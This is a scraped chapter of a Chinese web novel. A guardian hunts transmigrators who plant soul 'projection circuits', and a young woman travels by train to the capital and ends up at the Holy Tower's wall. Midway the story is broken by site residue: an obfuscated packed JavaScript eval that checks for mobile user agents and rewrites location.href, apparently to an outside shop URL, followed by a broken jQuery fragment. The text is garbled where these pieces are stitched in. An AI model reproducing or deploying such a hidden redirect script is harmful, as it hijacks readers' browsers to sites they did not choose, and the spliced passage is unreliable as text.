默认冷灰
24号文字
方正启体

15. 这就是京城

作者:呓咩咩本书字数:K更新时间:
    鲁鲁莫里是真冤枉,那个毫不遮掩精神力的穿越者,当众就把精神力刺进普通人的灵魂,刻下投射回路。


    投射回路,本是刻在机甲星舰上,方便主人超距投□□神体,提高作战效率。


    其实全息游戏,也是游戏公司买下一颗星球建成游戏场景,布置超级投射回路,将玩家的精神体投射到游戏场景中。


    她从未想过,投射回路居然还能刻在与精神体表现相似但本质不同、被这个世界叫做“灵魂”的生命能量上!


    平时它会投射主人的思想,污染宿体的思想。到了关键时刻,它会投射主人的精神体,侵占宿体。


    陆涯的魂力包围着鲁鲁莫里,虎视眈眈,洞若观火。


    没有说谎的痕迹,那么,本世界很可能存在超级投射回路,才会以全息游戏的方式,骗来毫不知情的穿越者。


    陆涯目光凌厉:“超级投射回路,你能否找出?”


    明明生路就在眼前,却可望而不可及,是种什么体验?


    鲁鲁莫里欲哭无泪:“大佬!我是刚报道的新生啊!我没学过啊!”


    多亏她是爱预习的学霸,才能认识小型投射回路,发现事情不一般,一点不敢作妖。


    陆涯铺开魂力罩,屏蔽自己和展飞的交谈。


    “展师兄,必须找到超级投射回路。”


    已知大批将官穿越而来,计划反围猎守护者。可S级精神力的将官,都不敌陆涯一人,难免会改变策略。


    陆涯怀疑,仍未揪出的将官布置了超级投射回路,当大量不知情的穿越者,在各地肆无忌惮地暴露,守护者势必分散行动,在积疲之下被逐一击破。


    展飞磨了磨牙:“这个鲁鲁莫里倒是乖,奈何不顶事。”


    陆涯却觉得她的价值不止于此:“不妨试试,千金买骨。”


    被骗来的穿越者多了,未必只有她一个心存道德。好好跟她合作,说不定能招来行家,毁掉超级投射回路。


    虽说陆涯的方针获得展飞大赞,但真正做主的是长老和皇帝。他们的魂力探测到鲁鲁莫里的真诚,但还要去她生活的地方取得实证。


    陆涯戴上守护者专用的面具,将脸遮得严严实实。木盒与鲁鲁莫里都交给展师兄,他独自前往鲁鲁莫里生活的小镇。


    小镇不甚热闹,只有一条主街,勾连着七八条小巷。最末尾的那条小巷,水泥路长了青苔,炸了裂缝,两边的宅门木板陈旧,门槛掉下深色的腐渣。


    陆涯在一家整齐干净的门户前驻足,魂力探进去。


    男孩呼哧呼哧推着石磨,一步一停,稚嫩的掌心鼓着两个透明的水泡。


    女孩从厨房端来一碗水:“哥哥,你歇着,剩下的黄豆我来磨。”


    男孩咕嘟咕嘟喝了水,继续抓着把手:“祖母说,你脑子聪明,就该踏实读书,我脑子笨,就该踏实学艺。学艺比读书快,就算祖母老了,以后我做豆腐大郎,一样供你读书。”


    虚化状态的魂力,明明碰不到,仍然像个长辈,装模作样拍拍男孩的头,才钻回陆涯的魂海。


    「主人,真的没有污染诶。」


    除了与鲁鲁莫里最亲近的两个孩子,一路走来,陆涯也没探查到被污染的灵魂,合作一事成功在望。


    他正要敲门把孩子带走,转角进来一个男子,看到他的面具,扭头就跑眼神惊恐。


    从来只有穿越者,见到守护者就像老鼠见到猫。陆涯轻呵一声,不紧不慢追上去。


    果然,他能轻易察觉鲁鲁莫里的穿越者身份,其他穿越者同样容易察觉,找上门相认抱团。


    这个穿越者大概是被骗来的,只知道守护者会抓他们,不知道守护者会飞。


    如果他往人群里钻,陆涯就会束手束脚。偏偏他往山野中跑,陆涯毫无顾忌,魂力化为绳索,一把将他倒吊在树上。


    “不要杀我!不要杀我!”


    穿越者惊慌大叫。


    陆涯无语,他什么都还没做。


    “我招!我都招!”


    穿越者浑身发抖,一股脑秃噜出来。


    原来,在审讯中恶心到展飞的那个抖M,竟然是他的伴侣。伴侣被抓,他吓破了胆,专门躲到这个偏僻的小镇,随后发现鲁鲁莫里。


    陆涯眸色沉沉:“你是抖S。”


    还是个失去了伴侣的抖S,究竟有多少普通人受他的害?


    穿越者眼神慌乱:“我跟他们不一样!我很爱我的伴侣,绝不会移情别恋!”


    “他们”,陆涯心情沉重。


    已知穿越者来自的国度,人以群分是按星球为单位,抓到一个M,就猜到SM星的人会扎堆穿来。


    当时他还忍不住给陈茵寄信提醒,若陈茵使用在故事里,借报纸传播,或许能引起更多人警惕,发现异常及时举报。


    皇帝不同意用官府渠道提醒这种污糟事情,他只好从陈茵这里试试。


    被偷偷寄予期待的陈茵,暂时顾不上他送来的瓜。


    “若有指定给何太急的投诉信,一定给我寄到京城苟阁老的府上。”


    陈茵交代好报社的各项工作,同家人一起登上火车。


    一束白烟冲天而起,笛声长鸣,车厢微微晃动,如一条巨蟒,穿山越水游向北方。蔚蓝大海消失在视线尽头,窗外渐渐枯黄的山林,看了没一会儿就深感无聊。


    包厢里安安静静,陈茵有些晕车,垫着靠枕昏昏欲睡。


    六妹陈芒戳了戳她:“五姐姐,母亲带我们去京城,你觉得是为什么?”


    陈主妇原本要跟她们好好说,被气得撂下一句话就走了。


    陈茵懒洋洋的:“哥哥们备考会试,还有二哥的定亲宴,都要母亲去京城操持,顺便带上我们长长见识吧。”


    “哥哥们太年轻,就算中状元,也要被下放历练,这次会试才不考呢!等着三年后,直接做个京官不好吗?”


    陈芒说着,挪了挪身子,贴近她耳朵。


    “我看啊,定是为了你的婚事。有大姐夫这个先例,估计母亲要把你嫁到京城去。京城有圣塔坐镇,谁敢犯法作妖。”


    “嫁到京城?”


    陈茵怔忡,母亲身世再好,待她再好,她也是庶女。她的嫁妆只能从根基浅薄的陈家分,学习成绩又差,无财无才,在京城会不会压力很大?


    其实榜下捉婿也很好啊,找个家庭简单,小宗小族的本分士人,就不会出现大姐夫家那种事情。


    反正兄弟姐妹都出息,不会任由她被欺负,报社也能挣钱,财和势都勉强有,就差个听话的丈夫。


    便如母亲长在权贵之中,下嫁父亲游刃有余,她觉得自己嫁给秀才,才会游刃有余。


    只要能开报社,丈夫一辈子是个秀才,她也很满足。


    做完决定,她心里是轻松了,可身体却难逃遭罪。受限于照明条件,火车晚上停运。她认床,晚上在客栈睡不好。她还晕车,白天在车上睡不好。


    煎熬整整十天,从稷京南站出来的那一刻,她将帕子覆在脸上,偷偷哭一场。


    再也不要出远门了,呜呜呜!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382587|200206||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陈主妇被偶遇的故交叫住,在一旁嘀嘀咕咕许久,面露难色。


    不知故交又说了什么,她神色一冷,让陈茵带着妹妹和仆从,先去京城正南门等着,自己上了故交的马车。


    陈茵和六妹面面相觑,就这么被丢在陌生的地方?


    好在陈主妇留下的仆从熟悉京城,言道南站距京城尚有十里路,问她们是租马车,还是租自行车。


    陈茵面色一苦,选哪个不都是颠屁股嘛。


    忽而看见护城河的支渠,和水面上荡荡悠悠的小船。


    “选这个!六妹妹,我们租船去!”


    仆从止言又欲:“五姑娘,船小,行囊该当如何?”


    陈茵抽出银票:“你们租马车,看顾好行囊。”


    她摆摆手拒绝仆从的跟随,和六妹欢欣雀跃登上了小船。


    这种观光小船没有船夫,需要她们自己划。她们连海船都玩过,根本不带怕。


    只是越靠近京城,河道里越拥堵。陈茵行进艰难,担心反让母亲等急了,看见有人抄近路,船桨一摇就跟进去。


    陈芒心中惴惴:“五姐姐,她们也是去京城的吗?”


    陈茵信心满满:“我都听见了,她们嫌风太冷,要回城。”


    跟着跟着,手都摇酸了,才看见一座庞然大物。


    “这就是京城吗?”


    陈茵的下巴高高抬起,与脖子几乎连成一条线,即便如此极目远眺,依然看不见墙头的城楼。


    “好宏伟啊!”


    在这高墙面前,她们渺小如蝼蚁。


    “此处不可久留!速速离去!”


    一身甲胄的士兵前来驱赶。


    陈芒捏紧船桨:“难道稷京封城了,不准进?”


    陈茵左顾右盼,不见城门的影子,她们不会来错地方了吧?


    “没有封城。”


    士兵解释,面对两个漂亮的小姑娘,一张脸黑红黑红的。


    “这是圣塔的高墙,比城墙还要高百丈。”


    “圣塔!”


    陈茵姐妹异口同声,齐刷刷盯着高墙。


    士兵好言相劝:“快走吧,即便我们巡逻,也不敢在此多停留。”


    陈茵想到死去的外甥和赤梢,恶意揣测:“难道圣塔随便伤人?”


    “啊,这个。”士兵一言难尽,“并非随便伤人,但若撞见守护者真容,会被清除记忆。”


    守护者也需要学习成长,遇到新手清除记忆,人会伤到脑子变傻的。偏偏掉到墙外露出真容的守护者,通常是新手。


    士兵急着归队:“言尽于此,驱赶你们,是为你们好,快走吧。”


    陈茵不敢头铁,摇着船桨离开,可是——


    “六妹妹,还记得我们救回家的守护者吗?他为何没有清除我们的记忆?”


    陈芒眼神幽怨:“五姐姐,你真的还能记得,他长什么样子吗?”


    陈茵诧异:“你不记得了?他就长着……呃……长着……”


    还记得他凌乱的乌黑长发,喝药时修长的脖子,滚动的喉结,和骨节分明的手。可是,脸呢???


    别说五官了,连下巴都想不起来!


    陈芒轻叹,她就知道,五姐肯定不曾惦记外男的容貌。


    不过此生所见最英俊之人,她怎么可能不画下来?偏偏一回想,英俊少年变成无脸男,都快吓死她了!


    知道那是个守护者,有神奇之处很正常,她才缓过神来。


    真不愧是五姐,天天傻乐,不提醒都没发现。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)